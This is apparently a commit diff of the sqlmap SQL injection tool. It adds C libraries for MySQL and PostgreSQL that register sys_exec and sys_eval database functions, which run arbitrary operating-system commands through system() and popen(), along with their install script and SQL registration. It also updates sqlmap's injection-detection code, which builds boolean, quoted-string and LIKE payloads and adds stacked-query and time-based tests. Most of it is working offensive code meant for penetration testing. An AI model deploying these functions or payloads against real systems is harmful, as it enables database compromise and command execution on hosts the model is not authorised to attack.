+DROP FUNCTION IF EXISTS sys_get;
+DROP FUNCTION IF EXISTS sys_set;
+DROP FUNCTION IF EXISTS sys_exec;
+DROP FUNCTION IF EXISTS sys_eval;
-create function lib_mysqludf_sys_info returns string soname 'lib_mysqludf_sys.so';
-create function sys_get returns string soname 'lib_mysqludf_sys.so';
-create function sys_set returns int soname 'lib_mysqludf_sys.so';
-create function sys_exec returns int soname 'lib_mysqludf_sys.so';
+CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
+CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
diff -uN lib_mysqludf_sys_0.0.2/Makefile lib_mysqludf_sys/Makefile
--- lib_mysqludf_sys_0.0.2/Makefile 2009-01-22 12:01:55.000000000 +0000
+++ lib_mysqludf_sys/Makefile 2009-01-19 09:11:00.000000000 +0000
@@ -1,6 +1,4 @@
-linux: \
- lib_mysqludf_sys.so
+LIBDIR=/usr/lib
-lib_mysqludf_sys.so: \
-
- gcc -Wall -I/opt/mysql/mysql/include -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
+install:
+ gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so
Common subdirectories: lib_mysqludf_sys_0.0.2/.svn and lib_mysqludf_sys/.svn

Binary file not shown.

View File

@@ -0,0 +1,4 @@
LIBDIR=/usr/lib
install:
gcc -Wall -I/usr/include/postgresql/8.3/server -I. -shared lib_postgresqludf_sys.c -o $(LIBDIR)/lib_postgresqludf_sys.so

View File

@@ -0,0 +1,43 @@
#!/bin/bash
# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
# Copyright (C) 2009 Bernardo Damele A. G.
# web: http://bernardodamele.blogspot.com/
# email: bernardo.damele@gmail.com
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
echo "Compiling the PostgreSQL UDF"
make
if test $? -ne 0; then
echo "ERROR: You need postgresql-server development software installed "
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
echo "apt-get install postgresql-server-dev-8.3"
exit 1
else
echo "PostgreSQL UDF compiled successfully"
fi
echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
/usr/lib/postgresql/8.3/bin/psql -h 127.0.0.1 -p 5432 -U postgres -q template1 < lib_postgresqludf_sys.sql
#psql -h 127.0.0.1 -p 5432 -U postgres -q template1 < lib_postgresqludf_sys.sql
if test $? -ne 0; then
echo "ERROR: unable to install the UDF"
exit 1
else
echo "PostgreSQL UDF installed successfully"
fi

View File

@@ -0,0 +1,100 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdlib.h>
#include <postgres.h>
#include <fmgr.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
Datum sys_exec(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
int32 result = 0;
char *command;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)palloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command execution: %s", command);
*/
result = system(command);
pfree(command);
PG_FREE_IF_COPY(argv0, 0);
PG_RETURN_INT32(result);
}
PG_FUNCTION_INFO_V1(sys_eval);
Datum sys_eval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
text *result_text;
int32 argv0_size;
char *command;
char *result;
FILE *pipe;
char line[1024];
int32 outlen, linelen;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)palloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command evaluated: %s", command);
*/
result = malloc(1);
outlen = 0;
pipe = popen(command, "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (*result) {
result[outlen] = 0x00;
}
result_text = (text *)palloc(VARHDRSZ + strlen(result));
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}

View File

@@ -0,0 +1,23 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/usr/lib/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/usr/lib/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,6 +5,8 @@ $Id$
02/2006 Will Holcomb <wholcomb@gmail.com>
Reference: http://odin.himinbi.org/MultipartPostHandler.py
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
@@ -14,6 +16,10 @@ This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -31,7 +31,9 @@ from lib.core.data import kb
from lib.core.dump import dumper
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.settings import SUPPORTED_DBMS
from lib.techniques.blind.timebased import timeTest
from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest
def action():
@@ -66,9 +68,15 @@ def action():
raise sqlmapUnsupportedDBMSException, errMsg
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint()
print "%s\n" % conf.dbmsHandler.getFingerprint()
# Techniques options
if conf.stackedTest:
dumper.string("stacked queries support", stackedTest())
if conf.timeTest:
dumper.string("time based blind sql injection payload", timeTest())
# Miscellaneous options
if conf.unionTest:
dumper.string("valid union", unionTest())
@@ -82,6 +90,9 @@ def action():
if conf.getCurrentDb:
dumper.string("current database", conf.dbmsHandler.getCurrentDb())
if conf.isDba:
dumper.string("current user is DBA", conf.dbmsHandler.isDba())
if conf.getUsers:
dumper.lister("database management system users", conf.dbmsHandler.getUsers())

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -24,6 +24,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
import time
from lib.controller.action import action
@@ -35,6 +36,7 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.session import setString
from lib.core.session import setRegexp
from lib.request.connect import Connect as Request
@@ -49,163 +51,199 @@ def checkSqlInjection(place, parameter, value, parenthesis):
* Double quoted string injection
"""
logMsg = "testing unescaped numeric injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
randInt = randomInt()
randStr = randomStr()
if conf.prefix or conf.postfix:
prefix = ""
postfix = ""
if conf.prefix:
prefix = conf.prefix
if conf.postfix:
postfix = conf.postfix
infoMsg = "testing custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
trueResult = Request.queryPage(payload, place)
if trueResult == True:
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "confirming custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "custom injectable "
logger.info(infoMsg)
return "custom"
infoMsg = "testing unescaped numeric injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
if trueResult == True:
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "confirming unescaped numeric injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
if falseResult != True:
infoMsg = "confirming unescaped numeric injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "unescaped numeric injectable "
logMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg)
if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "unescaped numeric injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
return "numeric"
logMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "unescaped numeric injectable"
logger.info(logMsg)
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "unescaped numeric injectable"
logger.info(infoMsg)
logMsg = "testing single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
infoMsg = "testing single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
if trueResult == True:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "confirming single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
if falseResult != True:
infoMsg = "confirming single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "single quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg)
if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
return "stringsingle"
logMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "single quoted string injectable"
logger.info(logMsg)
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "single quoted string injectable"
logger.info(infoMsg)
logMsg = "testing LIKE single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
infoMsg = "testing LIKE single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
if trueResult == True:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "confirming LIKE single quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
if falseResult != True:
infoMsg = "confirming LIKE single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "LIKE single quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg)
if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
return "likesingle"
logMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "LIKE single quoted string injectable"
logger.info(logMsg)
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "LIKE single quoted string injectable"
logger.info(infoMsg)
logMsg = "testing double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
infoMsg = "testing double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
if trueResult == True:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "confirming double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
if falseResult != True:
infoMsg = "confirming double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "double quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg)
if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
return "stringdouble"
logMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "double quoted string injectable"
logger.info(logMsg)
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "double quoted string injectable"
logger.info(infoMsg)
logMsg = "testing LIKE double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
infoMsg = "testing LIKE double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == kb.defaultResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
if trueResult == True:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "confirming LIKE double quoted string injection "
logMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(logMsg)
if falseResult != True:
infoMsg = "confirming LIKE double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
logMsg = "%s parameter '%s' is " % (place, parameter)
logMsg += "LIKE double quoted string injectable "
logMsg += "with %d parenthesis" % parenthesis
logger.info(logMsg)
if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
return "likedouble"
logMsg = "%s parameter '%s' is not " % (place, parameter)
logMsg += "LIKE double quoted string injectable"
logger.info(logMsg)
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "LIKE double quoted string injectable"
logger.info(infoMsg)
return None
@@ -217,18 +255,18 @@ def checkDynParam(place, parameter, value):
dynamicity might depend on another parameter.
"""
logMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg)
infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
logger.info(infoMsg)
randInt = randomInt()
payload = agent.payload(place, parameter, value, str(randInt))
dynResult1 = Request.queryPage(payload, place)
if kb.defaultResult == dynResult1:
if True == dynResult1:
return False
logMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg)
infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "'%s" % randomStr())
dynResult2 = Request.queryPage(payload, place)
@@ -236,8 +274,8 @@ def checkDynParam(place, parameter, value):
payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
dynResult3 = Request.queryPage(payload, place)
condition = kb.defaultResult != dynResult2
condition |= kb.defaultResult != dynResult3
condition = True != dynResult2
condition |= True != dynResult3
return condition
@@ -253,19 +291,27 @@ def checkStability():
like for instance string matching (--string).
"""
logMsg = "testing if the url is stable, wait a few seconds"
logger.info(logMsg)
infoMsg = "testing if the url is stable, wait a few seconds"
logger.info(infoMsg)
firstResult = Request.queryPage()
time.sleep(0.5)
firstPage, firstHeaders = Request.queryPage(content=True)
time.sleep(1)
secondResult = Request.queryPage()
time.sleep(0.5)
secondPage, secondHeaders = Request.queryPage(content=True)
thirdResult = Request.queryPage()
condition = firstPage == secondPage
condition = firstResult == secondResult
condition &= secondResult == thirdResult
if condition == False:
warnMsg = "url is not stable, sqlmap will base the page "
warnMsg += "comparison on a sequence matcher, if no dynamic nor "
warnMsg += "injectable parameters are detected, refer to user's "
warnMsg += "manual paragraph 'Page comparison' and provide a "
warnMsg += "string or regular expression to match on"
logger.warn(warnMsg)
if condition == True:
logMsg = "url is stable"
logger.info(logMsg)
return condition
@@ -283,11 +329,11 @@ def checkString():
if condition:
return True
logMsg = "testing if the provided string is within the "
logMsg += "target URL page content"
logger.info(logMsg)
infoMsg = "testing if the provided string is within the "
infoMsg += "target URL page content"
logger.info(infoMsg)
page = Request.queryPage(content=True)
page, _ = Request.queryPage(content=True)
if conf.string in page:
setString()
@@ -301,16 +347,53 @@ def checkString():
return False
def checkRegexp():
if not conf.regexp:
return True
condition = (
kb.resumedQueries.has_key(conf.url) and
kb.resumedQueries[conf.url].has_key("Regular expression") and
kb.resumedQueries[conf.url]["Regular expression"][:-1] == conf.regexp
)
if condition:
return True
infoMsg = "testing if the provided regular expression matches within "
infoMsg += "the target URL page content"
logger.info(infoMsg)
page, _ = Request.queryPage(content=True)
if re.search(conf.regexp, page, re.I | re.M):
setRegexp()
return True
else:
errMsg = "you provided '%s' as the regular expression to " % conf.regexp
errMsg += "match, but such a regular expression does not have any "
errMsg += "match within the target URL page content, please provide "
errMsg += "another regular expression."
logger.error(errMsg)
return False
def checkConnection():
logMsg = "testing connection to the target url"
logger.info(logMsg)
infoMsg = "testing connection to the target url"
logger.info(infoMsg)
try:
kb.defaultResult = Request.queryPage()
page, _ = Request.getPage()
conf.seqMatcher.set_seq1(page)
except sqlmapConnectionException, exceptionMsg:
if conf.googleDork:
exceptionMsg = str(exceptionMsg)
if conf.multipleTargets:
exceptionMsg += ", skipping to next url"
logger.warn(exceptionMsg)
return False
else:
raise sqlmapConnectionException, exceptionMsg

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -29,6 +29,7 @@ from lib.controller.checks import checkSqlInjection
from lib.controller.checks import checkDynParam
from lib.controller.checks import checkStability
from lib.controller.checks import checkString
from lib.controller.checks import checkRegexp
from lib.controller.checks import checkConnection
from lib.core.common import paramToDict
from lib.core.common import readInput
@@ -52,9 +53,9 @@ def __selectInjection(injData):
message += "one to use to go ahead:\n"
for i in xrange(0, len(injData)):
injPlace = injData[i][0]
injPlace = injData[i][0]
injParameter = injData[i][1]
injType = injData[i][2]
injType = injData[i][2]
message += "[%d] place: %s, parameter: " % (i, injPlace)
message += "%s, type: %s" % (injParameter, injType)
@@ -65,7 +66,7 @@ def __selectInjection(injData):
message += "\n"
message += "[q] Quit\nChoice: "
select = readInput(message, default="0")
select = readInput(message, default="0")
if not select:
index = 0
@@ -92,28 +93,45 @@ def start():
"""
if conf.url:
kb.targetUrls.add(conf.url)
kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie ))
if conf.configFile and not kb.targetUrls:
errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target url properly"
errMsg += "the target url, list of targets or google dork"
logger.error(errMsg)
if kb.targetUrls and len(kb.targetUrls) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
logger.info(infoMsg)
hostCount = 0
injData = []
receivedCookies = []
cookieStr = ""
setCookieAsInjectable = True
for targetUrl in kb.targetUrls:
if conf.googleDork:
hostCount += 1
for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
conf.url = targetUrl
conf.method = targetMethod
conf.data = targetData
conf.cookie = targetCookie
injData = []
message = "url %d: %s, " % (hostCount, targetUrl)
message += "do you want to test this url? [Y/n/q] "
if conf.multipleTargets:
hostCount += 1
message = "url %d:\n%s %s" % (hostCount, conf.method or "GET", targetUrl)
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data:
message += "\nPOST data: %s" % conf.data
message += "\ndo you want to test this url? [Y/n/q] "
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
if not test:
pass
elif test[0] in ("n", "N"):
continue
elif test[0] in ("q", "Q"):
break
@@ -121,10 +139,9 @@ def start():
logMsg = "testing url %s" % targetUrl
logger.info(logMsg)
conf.url = targetUrl
initTargetEnv()
if not checkConnection() or not checkString():
if not checkConnection() or not checkString() or not checkRegexp():
continue
for _, cookie in enumerate(conf.cj):
@@ -157,22 +174,10 @@ def start():
__testableParameters = True
if not kb.injPlace or not kb.injParameter or not kb.injType:
if not conf.string:
if checkStability():
logMsg = "url is stable"
logger.info(logMsg)
else:
errMsg = "url is not stable, try with --string option, refer "
errMsg += "to the user's manual paragraph 'String match' "
errMsg += "for details"
if conf.googleDork:
errMsg += ", skipping to next url"
logger.warn(errMsg)
continue
else:
raise sqlmapConnectionException, errMsg
if not conf.string and not conf.regexp and not conf.eRegexp:
# NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable
checkStability()
for place in conf.parameters.keys():
if not conf.paramDict.has_key(place):
@@ -201,30 +206,41 @@ def start():
break
else:
warnMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg += "injectable with %d parenthesis" % parenthesis
logger.warn(warnMsg)
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "injectable with %d parenthesis" % parenthesis
logger.info(infoMsg)
if not injData:
warnMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg += "injectable"
logger.warn(warnMsg)
if not kb.injPlace or not kb.injParameter or not kb.injType:
if len(injData) == 1:
injDataSelected = injData[0]
elif len(injData) > 1:
injDataSelected = __selectInjection(injData)
elif conf.multipleTargets:
continue
else:
return
if injDataSelected == "Quit":
return
else:
kb.injPlace, kb.injParameter, kb.injType = injDataSelected
setInjection()
if not conf.googleDork and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
raise sqlmapNotVulnerableException, "all parameters are not injectable"
elif kb.injPlace and kb.injParameter and kb.injType:
condition = False
if conf.googleDork:
if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y")

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -55,7 +55,7 @@ def setHandler():
for dbmsAliases, dbmsEntry in dbmsMap:
if conf.dbms and conf.dbms not in dbmsAliases:
debugMsg = "skipping to test for %s" % dbmsNames[count]
debugMsg = "skipping test for %s" % dbmsNames[count]
logger.debug(debugMsg)
count += 1
continue

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
